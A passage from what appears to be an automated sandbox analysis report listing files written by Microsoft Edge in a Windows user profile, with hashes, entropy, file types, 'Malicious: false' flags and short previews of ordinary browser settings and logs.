MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\427f582c-712a-4637-a416-b7bf61786ecb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\47eff4fc-fd23-4205-bbd6-939781328073.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Reputation:	unknown
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\5ab0ed88-6dbc-4297-9634-61c494a306d2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Reputation:	unknown
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State~RF41808.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Reputation:	unknown
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3d5a0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3d6e9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF4b9d6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Reputation:	unknown
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries~RF4e106.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Reputation:	unknown
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\e7550e2a-5544-48c0-8899-caaeda69115a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\e88bdf6b-a21b-41be-9534-c11575aee23e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Reputation:	unknown
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Reputation:	unknown
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.22048508938531
Encrypted:	false
SSDEEP:	12:t6PIvVaYebvqBZFUt885B/+875OaYebvqBaJ:cP6VaYebvyg8ctOaYebvL
MD5:	25D32A56F2C2EB683F3522194B8ED1D9
SHA1:	34A77EAD511E9D8A4A75847472AF85A450EE1B18
SHA-256:	9A3580A76BF55D0A1E62730C36E25B6E221FA9EFFA46680C6750A98930EF28D2
SHA-512:	E421BA8A7B2BBE2A6967230A9A10E996958182C8B2F748D7301D31ADA23BC695DC49CB8C032C9313769D17893D250D4E0A52D8A49639D2CCCB9ACA1D861A141F
Malicious:	false
Reputation:	unknown
Preview:	2024/11/18-19:01:53.374 1cb0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/18-19:01:53.380 1cb0 Recovering log #3.2024/11/18-19:01:53.382 1cb0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.22048508938531
Encrypted:	false
SSDEEP:	12:t6PIvVaYebvqBZFUt885B/+875OaYebvqBaJ:cP6VaYebvyg8ctOaYebvL
MD5:	25D32A56F2C2EB683F3522194B8ED1D9
SHA1:	34A77EAD511E9D8A4A75847472AF85A450EE1B18
SHA-256:	9A3580A76BF55D0A1E62730C36E25B6E221FA9EFFA46680C6750A98930EF28D2
SHA-512:	E421BA8A7B2BBE2A6967230A9A10E996958182C8B2F748D7301D31ADA23BC695DC49CB8C032C9313769D17893D250D4E0A52D8A49639D2CCCB9ACA1D861A141F
Malicious:	false
Reputation:	unknown
Preview:	2024/11/18-19:01:53.374 1cb0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/18-19:01:53.380 1cb0 Recovering log #3.2024/11/18-19:01:53.382 1cb0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.143270181651528
Encrypted:	false
SSDEEP:	6:HUfo/yq2PN723oH+TcwtpIFUt8YUfX1Zmw+YUfBRkwON723oH+Tcwta/WLJ:KvvVaYebmFUt8lX1/+l35OaYebaUJ
MD5:	9ABED7D7E65D4BBC69B1F6329F623492
SHA1:	1DC3C41A5CAD5F290E1CD8EE58FB3317B3C3E8D6
SHA-256:	8AC364260B62A39BA455E917EA1F1D59C11E80C384A153C396F78BA242F737E3
SHA-512:	9B4437AB9D3037C7B7CA21F518056A9015E6B02EECAA2AE2554CCF63BEF2E9B8FAF77006F58450AFA17A219BBACA42CB32F1E9CB97849BCC47C2697FFC84F867
Malicious:	false
Reputation:	unknown
Preview:	2024/11/18-19:01:34.324 1ea0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/18-19:01:34.325 1ea0 Recovering log #3.2024/11/18-19:01:34.325 1ea0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.143270181651528
Encrypted:	false
SSDEEP:	6:HUfo/yq2PN723oH+TcwtpIFUt8YUfX1Zmw+YUfBRkwON723oH+Tcwta/WLJ:KvvVaYebmFUt8lX1/+l35OaYebaUJ
MD5:	9ABED7D7E65D4BBC69B1F6329F623492
SHA1:	1DC3C41A5CAD5F290E1CD8EE58FB3317B3C3E8D6
SHA-256:	8AC364260B62A39BA455E917EA1F1D59C11E80C384A153C396F78BA242F737E3
SHA-512:	9B4437AB9D3037C7B7CA21F518056A9015E6B02EECAA2AE2554CCF63BEF2E9B8FAF77006F58450AFA17A219BBACA42CB32F1E9CB97849BCC47C2697FFC84F867
Malicious:	false
Reputation:	unknown
Preview:	2024/11/18-19:01:34.324 1ea0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/18-19:01:34.325 1ea0 Recovering log #3.2024/11/18-19:01:34.325 1ea0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2675460050026652
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkM1SA1LyKOMq+8iP5GDHP/0jMVumL:Kq+n0J191LyKOMq+8iP5GLP/0e
MD5:	B3F6AE57DD7D38DCBB4D968FF6C82C72
SHA1:	419521A56DC7437A658D515F900F2DB311094F63
SHA-256:	FB7F8AF9B75A2C89123A0E32EFE7404997617B9492DF841279017D6B06C64236
SHA-512:	1EE86ED3E4D8DC2E6A10D5D29CE3976EC6B332E259B88DE924C191861F334644A7661302E1BF98FD9A1B4A735F6E04E185EEFD6712BD6F4B96EF7829A1F892E5
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.4666840528256292
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0S613W:v7doKsKuKZKlZNmu46yjx0XM
MD5:	9FB75CC5CC7AA8B6E2E2BFB4EBF0FBD1
SHA1:	E9B2EF036317785CC027F1926F466E3A96E51D7C
SHA-256:	771890F99AB5A46106143333B19C48A79B723BF6ABC375E8FD5CAFD179DCC8EA
SHA-512:	541430D6FDDDF3C1CA1999C34C64029E00196ED44BFCC3D5EECCD43BFA0848DC90B571422CF16CC26A571DF7E4BFEF6A74B415B7863B5379845CCEFE8F19EC9B
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\a8435783-a2e2-4157-bcd0-cb7b39ef3225.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Reputation:	unknown
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Reputation:	unknown
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b4b5bc6e-a20b-4db3-a426-87445435b64e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.56126494646466
Encrypted:	false
SSDEEP:	768:kU/cr4WC07pLGLpbZW5wwuf4G68F1+UoAYDCx9Tuqh0VfUC9xbog/OVPc6vQINSr:k8C454cpbZWawufJ6u1jaF6vPjO6m2JW
MD5:	15167CEA613CEF4EF7D2513634E8EE7A
SHA1:	0991966D89C278A22602A543C77E414CCF94E238
SHA-256:	20FE970B71AAA77CCABD60EDAD4ACA2AFB4057FEB96AB09730B3FFCB76138C98
SHA-512:	3F8B2837E424D12C5BA137C1ECB508A92FC5C3BC3B0EECAE324CD7E117E1BC79CA49C138F480B6D4A3489FBE3E4E79B2F722851844449639D63B0721BF9DEAEB
Malicious:	false
Reputation:	unknown
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376448094197065","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376448094197065","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d5084980-249c-4492-86c2-62ae15d9b4f0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Reputation:	unknown
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
